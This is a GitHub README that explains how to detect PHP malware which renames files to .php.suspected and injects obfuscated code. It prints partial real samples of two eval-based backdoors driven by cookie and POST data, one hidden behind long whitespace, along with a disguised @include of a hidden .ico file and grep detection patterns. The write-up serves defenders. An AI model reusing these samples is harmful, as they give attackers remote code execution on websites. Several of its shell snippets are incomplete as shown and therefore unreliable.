Skip to content


Switch branches/tags

Name already in use

A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?

Latest commit


Git stats


Failed to load latest commit information.
Latest commit message
Commit time


Recently, I detected that one of the sites that my company hosts was the subject of an apparently simple attack. A key PHP file was being renamed from its original name, tcpdf.php to tcpdf.php.suspected. This simple rename was causing the whole site to stop working as the file was being included along the execution path of the site's CMS. The error was not being dealt with and the Apache web server was returning a status code of 500.

Bringing the site back online was a matter of locating the cause of the server giving up and getting the file back to its place from a backup. Simple enough. Unfortunately, a few hours later, the same file was again missing. At that point it became apparent that a malware was lurking beneath the surface.

Had this happened to other people?

A quick search showed that other people had experienced the same problem. This is a brief summary of places where this malware is mentioned that offer interesting insights:

  1. Stack Exchange
  2. Stack Overflow
  3. WordPress
  4. Drupal

In essence, this malware has infected many popular PHP based open software: WordPress, Joomla, Drupal, Magento, SugarCRM and CiviCRM, to name a few.

What are the external symptoms?

This malware does a number of bad things. Among them, I have seen:

  1. It renames .php files to .php.suspected. Depending on the site, this may have different effects ranging from getting along unnoticed to bringing down the site. Apparently, certain anti-malware scanners also do this by themselves when they find an infected file, bringing some confusion to the possible cause of the rename.
  2. It infects .php files by adding some additional code. I have seen three different patterns: one that appends a piece of obfuscated code to the first line of the PHP file, another that appends to the second line, and another that uses a .ico file that gets included using the @include PHP instruction.
  3. It redirects visitors to a survey where they are told that they have won a price and have to fill in a form to get it.

People also reports other effects like sending spam from the account. It would seem that the malware, once it gets in, has full control of your site and could use any available resource that is accessible from the PHP code of the site.

How do I manually locate the infected files?

If you have shell access to your server, I suggest you run the following commands from the root of your web site folder structure:

# find . -name '*.suspected' -print

This will tell you if there are any files with the .suspected extension.

Malware pattern 1

The first malware pattern I found uses the $GLOBALS PHP variable and uses strings with hex scape sequences like "\x47". It may be detected with:

# egrep -Rl '\$GLOBALS.*\\x'

From a real example, the malware looks like this:

<?php                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 $ode1523 = 197;$GLOBALS['jb882fc'] = Array();global $jb882fc;$jb882fc = $GLOBALS;${"\x47\x4c\x4fB\x41\x4c\x53"}['dccee0b13'] = "\x67\x3a\x79\x5f\x73\x28\x3f\x35\x20\x38\x65\x5e\x2a\x6d\x25\x49\x30\x3e\x74\x32\x69\x63\x72\x27\x48\x52\x4e\x61\x47\x6e\x54\x4a\x7c\x5c\x58\x26\x76\x56\x23\x3d\x62\x31\x77\x46\x57\xd\x5d\x33\x4f\x41\x5b\x2c\x4c\x75\x34\x59\x2d\x24\x78\x6f\x37\x40\x42\x3c\x66\x4b\x21\x50\x7b\x2f\x45\x6b\xa\x9\x60\x6a\x5a\x51\x68\x70\x39\x29\x71\x7a\x64\x2b\x7d\x3b\x6c\x43\x2e\x55\x22\x4d\x53\x36\x44\x7e";$jb882fc[$jb882fc['dccee0b13'][53].$jb882fc['dccee0b13'][64].$jb882fc['dccee0b13'][16].$jb882fc['dccee0b13'][84].$jb882fc['dccee0b13'][10].$jb882fc['dccee0b13'][27]] = $jb882fc['dccee0b13'][21].$jb882fc['dccee0b13'][78].$jb882fc['dccee0b13'][22];$jb882fc[$jb882fc['dccee0b13'][58].$jb882fc['dccee0b13'][64].$jb882fc['dccee0 [... piece omitted ...] ($q9fcfb[$jb882fc['dccee0b13'][27]] == $jb882fc['dccee0b13'][20]){$r7062 = Array($jb882fc['dccee0b13'][79].$jb882fc['dccee0b13'][36] => @$jb882fc[$jb882fc['dccee0b13'][59].$jb882fc['dccee0b13'][84].$jb882fc['dccee0b13'][64].$jb882fc['dccee0b13'][54]](),$jb882fc['dccee0b13'][4].$jb882fc['dccee0b13'][36] => $jb882fc['dccee0b13'][41].$jb882fc['dccee0b13'][90].$jb882fc['dccee0b13'][16].$jb882fc['dccee0b13'][56].$jb882fc['dccee0b13'][41],);echo @$jb882fc[$jb882fc['dccee0b13'][2].$jb882fc['dccee0b13'][54].$jb882fc['dccee0b13'][19].$jb882fc['dccee0b13'][95].$jb882fc['dccee0b13'][64].$jb882fc['dccee0b13'][41].$jb882fc['dccee0b13'][84]]($r7062);}elseif ($q9fcfb[$jb882fc['dccee0b13'][27]] == $jb882fc['dccee0b13'][10]){eval/*kf10f8594*/($q9fcfb[$jb882fc['dccee0b13'][84]]);}exit();}} ?><?php

If you don't see anything, try scrolling to the right. The leading spaces may trick you into not seeing anything if you use an editor that does not wrap long lines.

The occurrences I have found insert a first line of obfuscated code like the one above in chosen PHP files.

Malware pattern 2

The second pattern I found uses @include to include a file ignoring any errors. Searching only for @include may find false positives and variants of the instruction like @include_once; as the malware includes matching comments, it may be detected with:

# egrep -Rl -Ezo '/\*(\w+)\*/\s*@include\s*[^;]+;\s*/\*'

This will search for files that include the malware that looks like this:



@include "\057hom\145/<user>\057www\057inc\154ude\163/fi\154etr\141nsf\145r/.\1413a6\14462c\056ico";


This piece of code is added at the beginning of the PHP file but I have also seen many index.php files created with only this content.

Running the string through a PHP interpreter you can see what it is doing:

# php -r 'echo "\057hom\145/<user>\057www\057inc\154ude\163/fi\154etr\141nsf\145r/.\1413a6\14462c\056ico";'



Using @include will include the .ico file but ignore any errors that may occur. The file to include is slightly hidden to prevent the code from being readily obvious. The egrep command above will search for a pattern that has the matching comments. If you want to be sure you check all @include instructions and don't mind a few false positives, you may try:

# egrep -Rl '@include'

You may also want to search for .ico files that begin with a dot (.) with:

# find . -name '.*.ico' -print

Malware pattern 3

The third pattern I found uses the variables $_COOKIE and $_POST along with eval. A way to find infected files without false positives is:

# egrep -Rl -E '^.+(\$_COOKIE|\$_POST).+eval.+$'

A real line of this malware looks like this:

$tktmpcv = '4tu*67iend2\'s-bypkfmoH_cxvl#5ga3r8';$hhfih = Array();$hhfih[] = $tktmpcv[7].$tktmpcv[23].$tktmpcv[33].$tktmpcv[4].$tktmpcv[4].$tktmpcv[0].$tktmpcv[33].$tktmpcv[10].$tktmpcv[13].$tktmpcv[14].$tktmpcv[33].$tktmpcv[5].$tktmpcv[9].$tktmpcv[13].$tktmpcv[0].$tktmpcv[7].$tktmpcv[9].$tktmpcv[18].$tktmpcv[13].$tktmpcv[14].$tktmpcv[9].$tktmpcv[14].$tktmpcv[9].$tktmpcv[13].$tktmpcv[28].$tktmpcv[4].$tktmpcv[5].$tktmpcv[18].$tktmpcv[30].$tktmpcv[18].$tktmpcv[23].$tktmpcv[31].$tktmpcv[23].$tktmpcv[5].$tktmpcv[7].$tktmpcv[30];$hhfih[] = $tktmpcv[21].$tktmpcv[3];$hhfih[] = $tktmpcv[27];$hhfih[] = $tktmpcv[23].$tktmpcv[20].$tktmpcv[2].$tktmpcv[8].$tktmpcv[1];$hhfih[] = $tktmpcv[12].$tktmpcv[1].$tktmpcv[32].$tktmpcv[22].$tktmpcv[32].$tktmpcv[7].$tktmpcv[16].$tktmpcv[7].$tktmpcv[30].$tktmpcv[1];$hhfih[] = $tktmpcv[7].$tktmpcv[24].$tktmpcv[16].$tktmpcv[26].$tktmpcv[20].$tktmpcv[9].$tktmpcv[7];$hhfih[] = $tktmpcv[12].$tktmpcv[2].$tktmpcv[14].$tktmpcv[12].$tktmpcv[1].$tktmpcv[32];$hhfih[] = $tktmpcv[30].$tktmpcv[32].$tktmpcv[32].$tktmpcv[30].$tktmpcv[15].$tktmpcv[22].$tktmpcv[19].$tktmpcv[7].$tktmpcv[32].$tktmpcv[29].$tktmpcv[7];$hhfih[] = $tktmpcv[12].$tktmpcv[1].$tktmpcv[32].$tktmpcv[26].$tktmpcv[7].$tktmpcv[8];$hhfih[] = $tktmpcv[16].$tktmpcv[30].$tktmpcv[23].$tktmpcv[17];foreach ($hhfih[7]($_COOKIE, $_POST) as $ngevaqh => $rzdxjih){function zbvuvi($hhfih, $ngevaqh, $rwaivg){return $hhfih[6]($hhfih[4]($ngevaqh . $hhfih[0], ($rwaivg / $hhfih[8]($ngevaqh)) + 1), 0, $rwaivg);}function oavfic($hhfih, $cknkn){return @$hhfih[9]($hhfih[1], $cknkn);}function ritym($hhfih, $cknkn){$jzgzlha = $hhfih[3]($cknkn) % 3;if (!$jzgzlha) {eval($cknkn[1]($cknkn[2]));exit();}}$rzdxjih = oavfic($hhfih, $rzdxjih);ritym($hhfih, $hhfih[5]($hhfih[2], $rzdxjih ^ zbvuvi($hhfih, $ngevaqh, $hhfih[8]($rzdxjih))));}

Automatic location of affected or infected files

For convenience, I have created a simple Perl script that does all the checking from one place: Given exec permissions and placed somewhere in the PATH, it may be invoked like this:

# <web root directory>

In a cPanel host, you may run it with:

# check-site /home/<user>/public_html

The location of the web root will depend on your particular installation. Other typical locations include /home/httpd, /var/www and /var/www/html to name a few Apache Linux locations.

If no malware is detected, the script will print nothing. Otherwise, it will report the problem and the list of files related on stdout. In case you want to make sure the malware does not show up again, you may want to run a cron job periodically to do the checking. Assuming you have nothing else in your crontab, you may use the following:

0 * * * * /usr/bin/perl /home/<user>/bin/ /home/<user>/public_html

Make sure you use an email address that you check often. Adjust the file paths for your installation and make sure they are absolute paths. Cron jobs have no context as your shell commands may have. The job above will run every hour on the minute 0. If you prefer to use another minute, pick your choice.

As the Perl script generates no input when all is fine, you will only get emails addressed to MAILTO when the job generates some output, i.e. when a problem is detected.

Checking the web site's health

Making sure all those checks pass is fine, but what if the malware is a different variant and the web server does not respond anyway? A good approach would be to check whether the web server is responding to http/https requests. A good way to achieve this is creating a simple bash script like the following:


WEB='https://<mysite>.com/<path if any>'
r=$(curl -o /dev/null --silent --head --write-out '%{http_code}\n' "$WEB")

if [ $r != 200 ]
    echo "Response code from: $WEB" $r

Point the WEB variable at the main URL of your web page. Make sure it does not redirect to another URL or you will get the 30x code instead of the 200 which is the expected response if the server is fine and the page at the URL may be served. The script uses curl to do the check and instead of getting the full web page at the URL, it only requests the HEAD. Unless you want to compare the actual HTML response, this check will be lighter on the web server.

Making sure your site is fine regularly is also a good idea, so save the bash script where you placed the other Perl script and add the following to your crontab:

*/5 * * * * /bin/bash /home/<user>/bin/

Adapt the script's name and location but make sure you use absolute paths. The above line will run the script every 5 minutes (at a minute count that is a multiple of 5). If the web server is responding as expected nothing will happen. When a response code other than 200 is returned, you will get an email with the output of the script.

Detecting other patterns of malware

You may use the patterns I found or even search for more on the Internet, but how about finding them on your own and catching a malware without depending on someone else? From what I have seen, the source of the infection may vary, but eventually the infected files will have to be executed. For a typical CMS, this will happen if the infected files are configuration files in PHP (that typically define global variables) or the core or extensions files of that CMS. Cleaning up those is simple enough:

  1. Check all configuration files for any abnormal code inside (you have seen the samples above.) Once you have done that, back them up.
  2. Replace all CMS core files with fresh ones downloaded from a trusted source.
  3. Replace all CMR extension files too.

If possible, keep both core and extensions up to date. Even better, remove all files from the core and the extensions folders first. That way, a malicious file that has been added will be also removed.

For complex installations that are online these steps may be difficult to carry out. An alternative is to check the web server logs looking for accesses that involve any executable files. In this case, that means PHP files. This will be different depending on the web server. For an Apache web server, the typical access log has one line per hit that looks like this: - - [26/Nov/2018:19:58:40 +0100] "GET / HTTP/1.1" 301 - "" "Mozilla/5.0 (Linux; Android 7.0; SM-G920F) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.80 Mobile Safari/537.36"

Normal requests will involve a path that is public like / or /myblog/the-article-title. Also files that are needed to compose an HTML page like images and CSS files. But invocations of .php files should be less frequent if at all necessary. That means an external web client is invoking an executable file giving the full direct path and bypassing the CMS management of the path locations (I am assuming that you are using the SEO functionality of your CMS to create "beautiful" paths; if not, you should try it for a good number of reasons.)

Detecting direct accesses to PHP files

So how do we detect that a PHP script has been invoked from the client side directly? The simple approach would be to search the log file for any *.php entries. This would yield a lot of false positives that will make the search very difficult. Out of curiosity, how many /wp-login.php hits do you have in your web log? I am not assuming that your CMS is WordPress; you will be surprised...

A better approach would be to locate any .php hits that correspond to an existing PHP file under the web folder structure. This script will do the trick:



cat $1 | egrep 'GET .+\.php HTTP' | cut -d' ' -f7 \
| while read n
if [ -f ${WEB}$n ]
    echo ${WEB}$n
done | sort | uniq -c | sort -k2nr

Adjust the WEB variable to point at your web root folder. The script is invoked passing it one argument: the location of the log file. For cPanel, the web log for the current day is located at /home/<user>/access-logs and the archived log for the current month at /home/<user>/logs. The log file name will be prefixed with your domain name. Keep in mind that Apache keeps two logs, one for http and one for https accesses. If you want to scan an archived log (i.e. extension .gz), substitute the cat instruction with zcat. For other installations you will need to find the log file location. Check also that the format is similar. The instruction cut -d' ' -f7 selects the seventh field assuming fields are separated by the space character.

The final part sorts the lines, generates a count of the number of occurrences of each different one and sorts them again by count to give you an idea of how frequent the hits are. Examine each PHP file that the script outputs. Unless they have to be invoked from the outside directly for some reason, they are likely candidates for a malware infection or some other kind of attack.


How to detect the malware that renames .php files to .php.suspected







No releases published


No packages published